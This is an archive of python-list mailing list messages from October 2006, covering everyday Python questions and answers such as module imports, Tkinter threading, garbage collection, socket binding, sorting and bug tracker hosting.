Finney) Date: Tue, 31 Oct 2006 22:53:56 +1100 Subject: How can I import a script with an arbitrary name ? References: <1162217006.567079.315440@i42g2000cwa.googlegroups.com> Message-ID: <87y7qw66qz.fsf@benfinney.id.au> "Steven D'Aprano" writes: > On Tue, 31 Oct 2006 11:00:52 +1100, Ben Finney wrote: > > > If you want a solution that gives you an actual module object, > > here's what I use: > > > > def make_module_from_file(module_name, file_name): > > """ Make a new module object from the code in specified file """ > > The only advantage (or maybe it is a disadvantage?) I can see to > your function is that it doesn't search the Python path and you can > specify an absolute file name. Which is exactly what the OP asked for (though he didn't necessarily need a module object). -- \ "We have to go forth and crush every world view that doesn't | `\ believe in tolerance and free speech." -- David Brin | _o__) | Ben Finney From http Tue Oct 3 03:43:28 2006 From: http (Paul Rubin) Date: 03 Oct 2006 00:43:28 -0700 Subject: VIdeo Converence Software: Tk and thread synchronization References: Message-ID: <7x64f14zfj.fsf@ruckus.brouhaha.com> "Eric Brunel" writes: > General answer: no, it isn't. The only thing that seems to work > everytime on tk widgets from secondary threads is generating events > as above. I wouldn't bet on even that always being safe. > If you try to do anything else, you may experience deadlocks or even > crashes. The way I do it is use a .after event in the main tkinter loop to check a queue every 20 msec or so. Other threads send commands through the queue. I usually pass commands as tuples (func, *args, **kw) so that the .after handler simply calls the func on the args. From claird at lairds.us Wed Oct 4 19:03:38 2006 From: claird at lairds.us (Cameron Laird) Date: Wed, 4 Oct 2006 23:03:38 +0000 Subject: Where is Python in the scheme of things? References: <82VUg.8549$Go3.4509@dukeread05> Message-ID: In article <82VUg.8549$Go3.4509 at dukeread05>, hg wrote: . . . >Code in Python and decide for yourself ... but again, nowadays, you're >to compare with C#, VB ... if you want to be in; that is. > >hg > One of the points that's important to make is that "decide for yourself" means something different for Python. With proprietary development environments, or Java, it can typically take days or weeks to pull together enough of a configuration to begin to understand the language. It is typical for utter beginners to start with Python and, in a few hours, to begin to "get it". Conclusion: advice to "try Python for yourself" is apt in a way the original questioner might not realize. From cems at earthlink.net Sun Oct 1 12:19:45 2006 From: cems at earthlink.net (Charlie Strauss) Date: Sun, 1 Oct 2006 10:19:45 -0600 Subject: Is this a bug? Python intermittently stops dead for seconds In-Reply-To: References: <33220932.1159717044981.JavaMail.root@elwamui-chisos.atl.sa.earthlink.net> Message-ID: On Oct 1, 2006, at 9:48 AM, Fredrik Lundh wrote: > charlie strauss wrote: > >> level0: newly created objects >> level1: objects that survived 1 round of garbage collection >> level2: objects that survivied 2+ rounds of gargbage collection >> >> Since all of my numerous objects are level2 objects, and none of >> them are every deallocated, then I should never trip the GC for >> these. > > your understanding of generational GC is a bit fuzzy, it seems. > that an > object is promoted to a higher level means that it's not inspected > quite > as often as lower-level objects, not that it's never inspected at all. As I understand it, level2 (and level1) objects only undergo gc when more than 10 of them is deallocated. Since I never deallocate, this should not be tripped right? In any case regarding your other comments: >> Could you clarify that for me. GC really has three components >> two it: 1) finding and freeing unrefernced memory by refer >> refer counts 2) cycle removal and 3) defragementing the >> storage stack. If I turn off GC, don't I lose all of these? >> > > CPython always does (1), only does (2) if cycle-breaking GC isn't > disabled, and never does (3). Never does 3? then how does it compact it's memory allocation area? Surely it does not rely on the OS to manage every small object as a separate memory allocation. And just to be clear: are you saying that when I do a gc.disable this only turns off 2 and not 1? The docs don't say that as far as I can tell. > in your case, it's (2) that takes more and more time, simply because > you're creating tons of non-trivial objects. to see what's going > on in > there, add > > import gc > gc.set_debug(gc.DEBUG_STATS) > > to the top of your program, and look at the status messages that > appear > just before each "Big Gap" message. Could you be a bit more explicit. I'm new to the gc module. Sorry to be slow but I don't know what "looking at the status message" means. > > > > -- > http://mail.python.org/mailman/listinfo/python-list From sgilja at email.t-com.hr Wed Oct 18 14:50:51 2006 From: sgilja at email.t-com.hr (Stens) Date: Wed, 18 Oct 2006 20:50:51 +0200 Subject: characters in python In-Reply-To: References: Message-ID: Stens wrote: > Can python handle this characters: ??,??,??,??,??? > > If can how" I wanna to change some characters in text (in the file) to the characters at this address: http://rapidshare.de/files/37244252/Untitled-1_copy.png.html From robert.kern at gmail.com Thu Oct 19 00:43:03 2006 From: robert.kern at gmail.com (Robert Kern) Date: Wed, 18 Oct 2006 23:43:03 -0500 Subject: Plotting histograms In-Reply-To: <1161232341.473676.221830@k70g2000cwa.googlegroups.com> References: <1161056950.593026.114230@i42g2000cwa.googlegroups.com> <1161151268.753901.104750@k70g2000cwa.googlegroups.com> <1161232341.473676.221830@k70g2000cwa.googlegroups.com> Message-ID: amitsoni.1984 at gmail.com wrote: > Thanks for the replies ... its perfect now ... but just one more thing > ... how can I plot another function(a semi circle) in the same > histogram? Just call the appropriate plotting function after you plot the histogram. By default, the second plot will go into the same figure as the first. Something like the following should suffice: x = numpy.linspace(-1.0, 1.0, 201) y = numpy.sqrt(1.0 - x*x) pylab.plot(x, y, 'k-') Look at the matplotlib documentation for more information. You will probably also want to ask future questions on the matplotlib-users mailing list instead of here. -- Robert Kern "I have come to believe that the whole world is an enigma, a harmless enigma that is made terrible by our own mad attempt to interpret it as though it had an underlying truth." -- Umberto Eco From pandyacus.xspam at xspam.sbcglobal.net Sun Oct 29 01:39:58 2006 From: pandyacus.xspam at xspam.sbcglobal.net (Chetan) Date: Sun, 29 Oct 2006 06:39:58 GMT Subject: question about True values References: <7x4ptsi544.fsf@ruckus.brouhaha.com> <1161803802.110116.127470@m7g2000cwm.googlegroups.com> <7xvem8gq22.fsf@ruckus.brouhaha.com> <1161804934.010376.151330@f16g2000cwb.googlegroups.com> <453FD3AF.4040800@v.loewis.de> <1161812827.596356.316450@f16g2000cwb.googlegroups.com> <1161860305.348329.283780@m73g2000cwd.googlegroups.com> <87u01oug78.fsf@nandi.2wire.net> Message-ID: Georg Brandl writes: > Chetan wrote: >>> Steven D'Aprano wrote: >>> > On Sat, 28 Oct 2006 03:13:42 +0100, Steve Holden wrote: >>> > >>> >>> Finally, while True/False is a good mental mapping for numeric comparisons, >>> >>> take the following: >>> >>> >>> >>> >>> if "Cliff is a pillar of the open source community": >>> >>> .... print "thank you" >>> >>> .... else: >>> >>> .... print "bugger off" >>> >>> >>> >>> bugger off >>> >>> >>> >>> First off, even though nobody has called me on it, this example really prints >>> "thank you", not "bugger off". I got confused in my cutting and pasting. >>> Sorry about that. >>> >>> >>> >>> Clearly this is not true. (Google Cliff/Dyer open source: only 11 hits.), >>> >>> but the string is *something* so the if block gets evaluated. >>> >>> >>> >> >>> if "The above example was bollocks": >>> >> ... print "You don't know what you are talking about" >>> >> ... else: >>> >> ... print "Sorry: of course you are perfectly correct" >>> >> ... >>> >> You don't know what you are talking about >>> > Cliff is making a point about semantics, and he's absolutely correct about >>> > it, although it is irrelevant since we're talking about two-value logic >>> > not semantics. >>> Cheers, >>> Cliff >> >> I am joining after some network downtime here, so I seem to have missed what >> the real issue here is. At the risk of being completely irrelevant to the >> discussion here, I think it doesn't seem to be just about something or >> nothing - is None something or nothing? It seems to be neither: > > If is, of course, nothing. You may have misunderstood the semantics of the > "and" and "or" operators. I have not. I just posted another message on the subject. All I am trying to point out is that the "nothingness" evaluation does not occur at the level of expressions. It is only when the expression is needed to make decisions about control flow that this comes into picture. >>>>> None >>>>> None and True >>>>> None or True >> True >>>>> None and False >>>>> None or False >> False >>>>> False or None >>>>> False and None >> False >>>>> True and None >>>>> True or None >> True >>>>> not None >> True > > x and y | x something | x nothing > --------------------------------------- > y something | y | x > y nothing | y | x > > x or y | x something | x nothing > --------------------------------------- > y something | x | y > y nothing | x | y > > > Georg From __peter__ at web.de Mon Oct 23 06:47:10 2006 From: __peter__ at web.de (Peter Otten) Date: Mon, 23 Oct 2006 12:47:10 +0200 Subject: is it a bug ? References: Message-ID: Sylvain Ferriol wrote: >>>>>class Toto(float): >> >> ....?????eq?=?float.__eq__ >> .... >> >>>>>Toto().eq(42) >> >> False >> > i can not use it because: > class toto(float): > def?__init__(self,a=None):pass > > t=toto(a=3) > TypeError: 'a' is an invalid keyword argument for this function Override __new__() then: >>> class Toto(float): ... def __new__(cls, a=None): ... if a is None: ... a = 42 ... return float.__new__(cls, a) ... def __init__(cls, a=None): ... print "random message containing", a ... >>> Toto() random message containing None 42.0 >>> Toto(42) random message containing 42 42.0 Peter From p.lavarre at ieee.org Wed Oct 18 20:49:11 2006 From: p.lavarre at ieee.org (p.lavarre at ieee.org) Date: 18 Oct 2006 17:49:11 -0700 Subject: call Mac gcc -framework from CTypes how Message-ID: <1161218951.763867.148520@i3g2000cwc.googlegroups.com> gcc -dynamiclib -framework CoreFoundation builds C code for Mac OS X that I call from Py code. Can I somehow get rid of the C, such as: #include void const * kCFTypeDictionaryKeyCallBacks_p(void) { return &kCFTypeDictionaryKeyCallBacks; } ? Thanks in advance, Pat LaVarre P.S. In Windows, I duck tedium of this kind by finding the Dll that the C compiler calls under the covers, e.g., the CreateFile of my Win C code becomes a kernel32.CreateFileW call. From horpner at yahoo.com Thu Oct 12 14:46:46 2006 From: horpner at yahoo.com (Neil Cerutti) Date: 12 Oct 2006 20:46:46 +0200 Subject: Standard Forth versus Python: a case study References: <7x3b9u376m.fsf@ruckus.brouhaha.com> <1160603937.392188.253250@m7g2000cwm.googlegroups.com> <1160619958.438049.53390@h48g2000cwc.googlegroups.com> <1160652722.908731.213650@i42g2000cwa.googlegroups.com> <12isojlasb7p003@corp.supernews.com> Message-ID: On 2006-10-12, Neal Bridges wrote: > "John Doty" wrote in message > news:WcCdnUyXTsda_bPYnZ2dnUVZ_rOdnZ2d at wispertel.com... > [snip] >> Here's a K&R C function I wrote almost 20 years ago. > [code snipped] > > John, 'man indent' right away! As far as I know, he just forgot to strip out the tab characters before pasting and posting. -- Neil Cerutti We will not have an all volunteer army. We *will* have an all volunteer army. --George W. Bush From jstroud at mbi.ucla.edu Mon Oct 2 01:15:02 2006 From: jstroud at mbi.ucla.edu (James Stroud) Date: Mon, 02 Oct 2006 05:15:02 GMT Subject: strange append In-Reply-To: References: Message-ID: E.Nurminski wrote: > Hello to all good people > > I am new to the great Py so am quite puzzled by the following code > > --------------- > > res = [] > x = [ 1, 1 ] > for i in xrange(0,5): > res.append(x) > x[1] = x[1] + 1 > print "x = ", x > print "res = ", res > > --------------- > > Looks like it puts smth like reference to 'x' into 'res' list, instead of > value. But if I want a value should I use a different method or what ? > > Evgeni > > P.S. Could not easily find the issue in the manual/tutorial can you point > me out to smth relevant ? > Yes the same reference gets added every time. res = [] x = [1, 1] for i in xrange(0,5): newx = x[:] # copy the x res.append(newx) # append the copy newx[1] += 1 # shorthand print "newx = %s" % newx # basic formatting print "res = %s" % res # should be what you expect James -- James Stroud UCLA-DOE Institute for Genomics and Proteomics Box 951570 Los Angeles, CA 90095 http://www.jamesstroud.com/ From grante at visi.com Fri Oct 27 14:25:41 2006 From: grante at visi.com (Grant Edwards) Date: Fri, 27 Oct 2006 18:25:41 -0000 Subject: How set the source IP adress References: <454241d1$0$327$e4fe514c@news.xs4all.nl> <12k4jlpr6q4o4b4@corp.supernews.com> Message-ID: <12k4jp5tl02k515@corp.supernews.com> On 2006-10-27, Grant Edwards wrote: > On 2006-10-27, Irmen de Jong wrote: > >>> how to set source ip-address when do __socket.connect((host, port)) >>> on a machine that have a several ip-adresses? >>> >>> __socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) >>> __socket.connect((host, port)) >> >> sock.connect ( ('11.22.33.44', 9999) ) >> >> i.e. just put the ip address as string parameter into the >> connect address tuple (where you wrote: host) > > Um, no. That controls the _destination_ IP address, not the > source. If you want to control the source IP addresss you can > bind it to a local interface's IP address before doing the > connect() call. > > sock.bind(('10.0.0.99',-1)) # -1: don't care about source port number > sock.connect((host,port)) Doh! That should have been 0 not -1. -- Grant Edwards grante Yow! Do I hear th' at SPINNING of various visi.com WHIRRING, ROUND, and WARM WHIRLOMATICS?! From bj_666 at gmx.net Fri Oct 27 12:30:54 2006 From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch) Date: Fri, 27 Oct 2006 18:30:54 +0200 Subject: Telnetlib to twisted References: <4qeoalFmlkv3U2@individual.net> Message-ID: In <4qeoalFmlkv3U2 at individual.net>, Bjoern Schliessmann wrote: >> This email is confidential and may be privileged. If you are not >> the intended recipient please notify the sender immediately and >> delete the email from your computer. > > Am I the inteded recipient? I'm not listed in the headers. This is irrelevant because the whole paragraph is about emails and not about newsgroup postings. ;-) Ciao, Marc 'BlackJack' Rintsch From __peter__ at web.de Tue Oct 24 11:56:22 2006 From: __peter__ at web.de (Peter Otten) Date: Tue, 24 Oct 2006 17:56:22 +0200 Subject: Sorting by item_in_another_list References: <7.0.1.0.0.20061024123048.05772100@yahoo.com.ar> Message-ID: Carsten Haese wrote: > On Tue, 2006-10-24 at 11:31, Gabriel Genellina wrote: >> At Tuesday 24/10/2006 04:35, Cameron Walsh wrote: >> >> > > c = set(B) >> > > a.sort(key=c.__contains__, reverse=True) >> > > >> > > Tim Delaney >> > >> >Depressingly simple. I like it. >> >> ...and fast! > > ...and not guaranteed to be correct: > > http://www.python.org/doc/2.3.5/lib/typesseq-mutable.html states: > > """ > Whether the sort() method is stable is not defined by the language (a > sort is stable if it guarantees not to change the relative order of > elements that compare equal). In the C implementation of Python, sorts > were stable only by accident through Python 2.2. The C implementation of > Python 2.3 introduced a stable sort() method, but code that intends to > be portable across implementations and versions must not rely on > stability. > """ I'd say you need not worry about stability since the key parameter to the list.sort() method was introduced in Python 2.4... Peter From steven.bethard at gmail.com Tue Oct 24 15:52:56 2006 From: steven.bethard at gmail.com (Steven Bethard) Date: Tue, 24 Oct 2006 13:52:56 -0600 Subject: The status of Python and SOAP? In-Reply-To: <453E6C41.90200@websafe.com> References: <1161715924.235584.30790@m7g2000cwm.googlegroups.com> <453E6C41.90200@websafe.com> Message-ID: <453E6F18.3010101@gmail.com> Larry Bates wrote: > I would venture to guess that this is the one I would lean towards > if I needed SOAP support: > > http://www.effbot.org/downloads/#elementsoap > > I know is says "experimental" but Fredrik Lundh's idea of experimental > always seems to be everyone else's idea of a shipping product (e.g his > code just seems to work). Since it is based on elementree, which is > now in the standard library, I think it would be a good bet. Note that to get elementsoap working with the ElementTree in the stdlib, you need to make a few changes. See the thread here: http://mail.python.org/pipermail/python-list/2006-October/366522.html Fredrik Lundh suggested that some of elementsoap should probably be rewritten with the iterparse API, but I haven't had time to do that (and likely won't for a while). That all said, I'd agree that elementsoap is probably the right route to go. Steve From larry.bates at websafe.com Tue Oct 3 10:54:10 2006 From: larry.bates at websafe.com (Larry Bates) Date: Tue, 03 Oct 2006 09:54:10 -0500 Subject: Best way to handle large lists? In-Reply-To: References: Message-ID: <45227992.8090704@websafe.com> Chaz Ginger wrote: > I have a system that has a few lists that are very large (thousands or > tens of thousands of entries) and some that are rather small. Many times > I have to produce the difference between a large list and a small one, > without destroying the integrity of either list. I was wondering if > anyone has any recommendations on how to do this and keep performance > high? Is there a better way than > > [ i for i in bigList if i not in smallList ] > > Thanks. > Chaz IMHO the only way to speed things up is to know more about the actual data in the lists (e.g are the elements unique, can they be sorted, etc) and take advantage of all that information to come up with a "faster" algorithm. If they are unique, sets might be a good choice. If they are sorted, bisect module might help. The specifics about the list(s) may yield a faster method. -Larry From bignose+hates-spam at benfinney.id.au Tue Oct 24 04:11:52 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Tue, 24 Oct 2006 18:11:52 +1000 Subject: Protecting against SQL injection References: <7x1woy889g.fsf@ruckus.brouhaha.com> Message-ID: <87d58iqgjb.fsf@benfinney.id.au> Paul Rubin <"http://phr.cx"@NOSPAM.invalid> writes: > Tor Erik Soenvisen writes: > > # Protect against SQL injection by escaping quotes > > Don't ever do that, safe or not. Use query parameters instead. > That's what they're for. More specifically: They've been debugged for just these kinds of purposes, and every time you code an ad-hoc escaping-and-formatting SQL query, you're inviting all the bugs that have been found and removed before. -- \ "Welchen Teil von 'Gestalt' verstehen Sie nicht? [What part of | `\ 'gestalt' don't you understand?]" -- Karsten M. Self | _o__) | Ben Finney From codecraig at gmail.com Mon Oct 30 14:38:09 2006 From: codecraig at gmail.com (abcd) Date: 30 Oct 2006 11:38:09 -0800 Subject: wxPython TextCtrl - weird scrolling behavior Message-ID: <1162237089.308746.70370@e3g2000cwe.googlegroups.com> I have a TextCtrl which is set to be multi-line. I have a function say, updateText(msg), which takes some string and appends it to the text control... txtControl.AppendText(msg) ....however, if the text that I am appending would cause the scroll bars to appear/or scroll since the text is long the textcontrol appears to be blank, until you click on the scroll bar...then the text appears. Any ideas? is this is a sizer problem or a TextCtrl issue?? thanks From martin at v.loewis.de Wed Oct 4 17:57:24 2006 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 04 Oct 2006 23:57:24 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: <7xirizbwp3.fsf@ruckus.brouhaha.com> References: <22pUg.132825$zy5.1820633@twister1.libero.it> <7xk63h232z.fsf@ruckus.brouhaha.com> <45240E19.3040000@v.loewis.de> <7xwt7f4yox.fsf@ruckus.brouhaha.com> <452423FF.6010601@v.loewis.de> <7xirizbwp3.fsf@ruckus.brouhaha.com> Message-ID: <45242e44$0$8376$9b622d9e@news.freenet.de> Paul Rubin schrieb: > True, though GPL 3 tries to address that. Most important is to figure > out the underlying attitude of the host. I realize it's the same > crufty software (or worse) as SF and therefore maybe not so attractive > on those grounds already, but did you think about migrating to > Savannah? We had a very clear procedure. We (the committee) didn't want to manage the installation ourselves, or figure out how to set up the software, or get the data into it. Instead, we sent out a call to the community to come up with a demo installation for evaluation purposes. Nobody offered to migrate the data into Savannah, so we didn't consider it (nobody actually offered to show-case Savannah for us, period). There were several reasons to get off SF; it not being open source was never a reason. Instead, ongoing complaints about service level, and the UI were the main complaints. Savannah is IMO worse than SF wrt. user interface, so it would have lost in the evaluation even if a demo installation was provided. We want to improve with that switch, not decrease usability. >> Despite what other people say, this *is* an issue. On python.org, >> things that should get done don't, just because there is no >> volunteer doing them. Hosting such a service elsewhere has the >> clear advantage that you don't have to worry about most routine >> maintenance jobs. > > I have to wonder too why Jira is so sure to be more reliable than SF. It may change as time evolves, but at the moment, they are *pretty* responsive to our inquiries. Atlassian (the company behind it) uses the same infrastructure for their commercial offerings, as well; this might mean that we get the same availability (it might also mean that paying customers get more attention than non-paying ones in the long term). With any kind of partner, there is always the risk that they don't deliver, and you always have to invest some trust in the beginning. It was this way when Guido moved Python to SF, and indeed, SF did a very good job for several years (IMO). They only went unreliable when they grow beyond expectations. The same could happen to Atlassian, of course, in which case we would have to move again. OTOH, the same could also happen with a group of volunteers. It's always possible that they all run away (like that distutils is unmaintained, and PyXML is unmaintained). Volunteers are actually unlikely to persist in their efforts over a period of 10 years, as their lifes and priorities change over time. If you trust such a service to a single volunteer, you might find that the service can become very unusable very quickly. For example, the Python Job Board was in a very bad shape for several months, until we managed to find Peter Kropf to take it over (who does a very good job ever since he started). Regards, Martin From rijamoria at gmail.com Wed Oct 11 13:43:51 2006 From: rijamoria at gmail.com (rijamoria at gmail.com) Date: 11 Oct 2006 10:43:51 -0700 Subject: How to be a good programmers? Message-ID: <1160588630.961337.213260@m7g2000cwm.googlegroups.com> I just started to learn python programming because I need to be in the group when google come in Madagascar, So I want to know, what kind of python programming I have to start to learn? Zope?...? Sorry for My english! You can writ me on rijamoria at gmail.com. thanks! From skip at pobox.com Mon Oct 16 10:21:11 2006 From: skip at pobox.com (skip at pobox.com) Date: Mon, 16 Oct 2006 09:21:11 -0500 Subject: A Universe Set In-Reply-To: <0dMYg.105676$5o5.58612@tornado.texas.rr.com> References: <1159933937.606857.173770@k70g2000cwa.googlegroups.com> <0dMYg.105676$5o5.58612@tornado.texas.rr.com> Message-ID: <17715.38231.442697.32444@montanaro.dyndns.org> >> - the wildcard object, which compares equal to everything else Paul> class MatchAny(object): Paul> def __cmp__(self,other): Paul> return 0 Paul> wild = MatchAny() ... You're at the mercy of the comparison machinery implemented by individual classes. Executing this script (using any of Python 2.3 through what's currently in the SVN repository): import datetime class MatchAny(object): def __cmp__(self,other): return 0 wild = MatchAny() print wild == datetime.datetime.now() print datetime.datetime.now() == wild print wild != datetime.datetime.now() print datetime.datetime.now() != wild yields False False True True Skip From ronaldoussoren at mac.com Wed Oct 11 09:14:22 2006 From: ronaldoussoren at mac.com (Ronald Oussoren) Date: Wed, 11 Oct 2006 15:14:22 +0200 Subject: [python-nl] Compile python extension In-Reply-To: <23338.84.31.232.161.1160570603.squirrel@webmail.xs4all.nl> References: <23338.84.31.232.161.1160570603.squirrel@webmail.xs4all.nl> Message-ID: <5349841.1160572462719.JavaMail.ronaldoussoren@mac.com> On Wednesday, October 11, 2006, at 02:43PM, Martijn de Munnik wrote: >Hi, > >I'm trying to build/install pysqlite on a Solaris 10 platform. I've got >Sun Studio 11 on a AMD 64 platform and got this error. I'm a python newbie >and just want to install trac. I've got ActiveState python: This seems to be a bug in distutils, triggered by the %-signs in your CFLAGS. The easiest way to work around this is to change the CFLAGS and CXXFLAGS in your environment, just remove the options containing %-signs. Those seem to be related to optimization and I don't think those will affect the performance of pysqlite very much. A more permanent fix is change /opt/python/lib/python2.4/distutils/spawn.py" line 122, insert "%s" as the first argument of the call to log.info. This might not be the only place that requires changes. Ronald P.S. please file a bug at http://www.sf.net/projects/python to ensure that this will get fixed in a future release of python. > >ActivePython 2.4.3 Build 11 (ActiveState Software Inc.) based on >Python 2.4.3 (#1, Apr 3 2006, 18:07:58) [C] on sunos5 >Type "help", "copyright", "credits" or "license" for more information. > >And sqlite build with the following options ./configure >--prefix=/opt/64/sqlite --enable-threadsafe --disable-tcl > >my environment looks like this: >CC=cc >CFLAGS=-xO3 -mt -fsimple=1 -ftrap=%none -nofstore -xbuiltin=%all -xlibmil >-xlibmopt -xtarget=opteron -xarch=amd64 -xregs=no%frameptr >CXX=CC >CXXFLAGS=-xO3 -mt -fsimple=1 -ftrap=%none -nofstore -xbuiltin=%all >-xlibmil -xlibmopt -xtarget=opteron -xarch=amd64 -xregs=no%frameptr >LDFLAGS=-xtarget=opteron -xarch=amd64 > >and setyp.cfg looks like this >[build_ext] >define= >include_dirs=/opt/sqlite/include >library_dirs=/opt/sqlite/lib >libraries=sqlite3 > >/opt/sqlite is a symlink to /opt/64/sqlite > >and finally the build command: > >% python setup.py build >running build >running build_py >running build_ext >building 'pysqlite2._sqlite' extension >Traceback (most recent call last): > File "setup.py", line 159, in ? > main() > File "setup.py", line 156, in main > setup(**get_setup_args()) > File "/opt/python/lib/python2.4/distutils/core.py", line 149, in setup > dist.run_commands() > File "/opt/python/lib/python2.4/distutils/dist.py", line 946, in >run_commands > self.run_command(cmd) > File "/opt/python/lib/python2.4/distutils/dist.py", line 966, in >run_command > cmd_obj.run() > File "/opt/python/lib/python2.4/distutils/command/build.py", line 112, >in run > self.run_command(cmd_name) > File "/opt/python/lib/python2.4/distutils/cmd.py", line 333, in run_command > self.distribution.run_command(command) > File "/opt/python/lib/python2.4/distutils/dist.py", line 966, in >run_command > cmd_obj.run() > File "/opt/python/lib/python2.4/distutils/command/build_ext.py", line >279, in run > self.build_extensions() > File "/opt/python/lib/python2.4/distutils/command/build_ext.py", line >405, in build_extensions > self.build_extension(ext) > File "/opt/python/lib/python2.4/distutils/command/build_ext.py", line >470, in build_extension > depends=ext.depends) > File "/opt/python/lib/python2.4/distutils/ccompiler.py", line 699, in >compile > self._compile(obj, src, ext, cc_args, extra_postargs, pp_opts) > File "/opt/python/lib/python2.4/distutils/unixccompiler.py", line 112, >in _compile > self.spawn(self.compiler_so + cc_args + [src, '-o', obj] + > File "/opt/python/lib/python2.4/distutils/ccompiler.py", line 1040, in >spawn > spawn (cmd, dry_run=self.dry_run) > File "/opt/python/lib/python2.4/distutils/spawn.py", line 37, in spawn > _spawn_posix(cmd, search_path, dry_run=dry_run) > File "/opt/python/lib/python2.4/distutils/spawn.py", line 122, in >_spawn_posix > log.info(string.join(cmd, ' ')) > File "/opt/python/lib/python2.4/distutils/log.py", line 33, in info > self._log(INFO, msg, args) > File "/opt/python/lib/python2.4/distutils/log.py", line 23, in _log > print msg % args >TypeError: not enough arguments for format string > > >I've got the same issues with mysql and postgresql extensions, any ideas??? > >BTW anybody succesfully compiled python on Solaris using Sun Studio? > >thanks, > >Martijn > > >_______________________________________________ >Python-nl mailing list >Python-nl at python.org >http://mail.python.org/mailman/listinfo/python-nl > > From fredrik at pythonware.com Wed Oct 18 12:47:18 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 18 Oct 2006 18:47:18 +0200 Subject: Dictionaries In-Reply-To: <1161189110.702575.162220@f16g2000cwb.googlegroups.com> References: <1161185067.771030.301480@e3g2000cwe.googlegroups.com> <1161189110.702575.162220@f16g2000cwb.googlegroups.com> Message-ID: Lad wrote: > The answer: the values should be added together and assigned to the key > That is > {'a':1, 'b':5} > ( from your example below) > > Is there a solution? have you tried coding a solution and failed, or are you just expecting people to code for free? From fredrik at pythonware.com Tue Oct 3 15:12:56 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 03 Oct 2006 21:12:56 +0200 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it> Message-ID: Robert Kern wrote: > Sure. But what's the similarity to the fiasco part of the BitKeeper fiasco? depends on what you consider being the cause of that fiasco. I'm not sure it was quite as simple as people are trying to make it sound... (and your assertion that nobody but giovanni has made that connection is simply wrong) From http Tue Oct 10 04:10:13 2006 From: http (Paul Rubin) Date: 10 Oct 2006 01:10:13 -0700 Subject: Python component model References: <452aeed2$0$8740$ed2619ec@ptn-nntp-reader02.plus.net> <1160467516.602655.169920@c28g2000cwb.googlegroups.com> Message-ID: <7xlknotwuy.fsf@ruckus.brouhaha.com> "Nick Vatamaniuc" writes: > Python does not _need_ a component model just as you don't _need_ a RAD > IDE tool to write Python code. The reason for having a component model > or a RAD IDE tool is to avoid writing a lot of boiler plate code. It's also so that applications written in differing languages can call each other. From gherron at islandtraining.com Wed Oct 18 11:35:43 2006 From: gherron at islandtraining.com (Gary Herron) Date: Wed, 18 Oct 2006 08:35:43 -0700 Subject: Dictionaries In-Reply-To: <1161185067.771030.301480@e3g2000cwe.googlegroups.com> References: <1161185067.771030.301480@e3g2000cwe.googlegroups.com> Message-ID: <453649CF.4000604@islandtraining.com> Lad wrote: > How can I add two dictionaries into one? > E.g. > a={'a:1} > b={'b':2} > > I need > > the result {'a':1,'b':2}. > > Is it possible? > > Thank you > L. > > Yes, use update. Beware that this modifies a dictionary in place rather than returning a new dictionary. >>> a={'a':1} >>> b={'b':2} >>> a.update(b) >>> a {'a': 1, 'b': 2} Gary Herron From hanumizzle at gmail.com Tue Oct 3 20:08:42 2006 From: hanumizzle at gmail.com (hanumizzle) Date: Tue, 3 Oct 2006 20:08:42 -0400 Subject: Resuming a program's execution after correcting error In-Reply-To: <1159919897.485421.305490@m73g2000cwd.googlegroups.com> References: <1159447986.754423.258550@e3g2000cwe.googlegroups.com> <1159483617.159482.169770@i3g2000cwc.googlegroups.com> <1159889617.610051.100990@b28g2000cwb.googlegroups.com> <1159919897.485421.305490@m73g2000cwd.googlegroups.com> Message-ID: <463ff4860610031708w7ea1a00cka5fb7a080b3221@mail.gmail.com> On 3 Oct 2006 16:58:17 -0700, MRAB wrote: > > I like your idea Matthew but I don't know how to pickle the many > > variables in one file. Do I need to pickle each and every variable into > > a seperate file? > > var1,var2 > > pickle.dump(var1,f) > > pickle.dump(var2,f2) > > > Using the 'pickle' module: > > # To store: > f = open(file_path, "wb") > pickle.dump(var1, f) > pickle.dump(var2, f) > f.close() > > # To load > f = open(file_path, "rb") > var1 = pickle.load(f) > var2 = pickle.load(f) > f.close() > > A more flexible alternative is to use the 'shelve' module. This behaves > like a dict: > > # To store > s = shelve.open(file_path) > s["var1"] = "first" > s["var2"] = [2, 3] > s.close() > > # To load > s = shelve.open(file_path) > print s["var1"] # This prints "first" > print s["var2"] # This prints [2, 3] > s.close() As long as we're on the subject of data serialization, I should like to bring up PyYaml. YAML is a portable format for storing data of all kinds; it became popular via Ruby I think, but there are implementations for many other languages. If you stick to storing simple stuff like lists, strings, and dictionaries, you can use your YAML data almost anywhere, but PyYaml even supports reifying things like lambdas. From Roka100 at gmail.com Sun Oct 15 09:48:49 2006 From: Roka100 at gmail.com (Jia Lu) Date: 15 Oct 2006 06:48:49 -0700 Subject: Cannot import a module from a variable Message-ID: <1160920129.886155.112970@b28g2000cwb.googlegroups.com> Hi all: I try to do things below: >>>import sys >>> for i in sys.modules.keys(): import i Traceback (most recent call last): File "", line 2, in import i ImportError: No module named i But it seems that import donot know what is i ? why? Thanks/ From deets at nospam.web.de Sat Oct 28 12:32:37 2006 From: deets at nospam.web.de (Diez B. Roggisch) Date: Sat, 28 Oct 2006 18:32:37 +0200 Subject: Where do nested functions live? In-Reply-To: References: Message-ID: <4qhf11Fn4g9fU1@uni-berlin.de> > If I may turn the issue around, I could see a need for an inner function > to be able to access the variables of the outer function, the same way a > function can access globals. Why? Because inner functions serve to > de-multiply code segments one would otherwise need to repeat or to > provide a code segment with a name suggestive of its function. In either > case the code segment moved to the inner function loses contact with its > environment, which rather mitigates its benefit. Maybe I'm dense here, but where is your point? Python has nested lexical scoping, and while some people complain about it's actual semantics, it works very well: def outer(): outer_var = 10 def inner(): return outer_var * 20 return inner print outer()() Diez From trentm at activestate.com Thu Oct 12 17:29:29 2006 From: trentm at activestate.com (Trent Mick) Date: Thu, 12 Oct 2006 14:29:29 -0700 Subject: python 2.5 & sqlite3 In-Reply-To: References: <1160598897.399515.290620@m7g2000cwm.googlegroups.com> <1160603125.964879.17480@m73g2000cwd.googlegroups.com> <1160616758.718092.210130@m73g2000cwd.googlegroups.com> Message-ID: 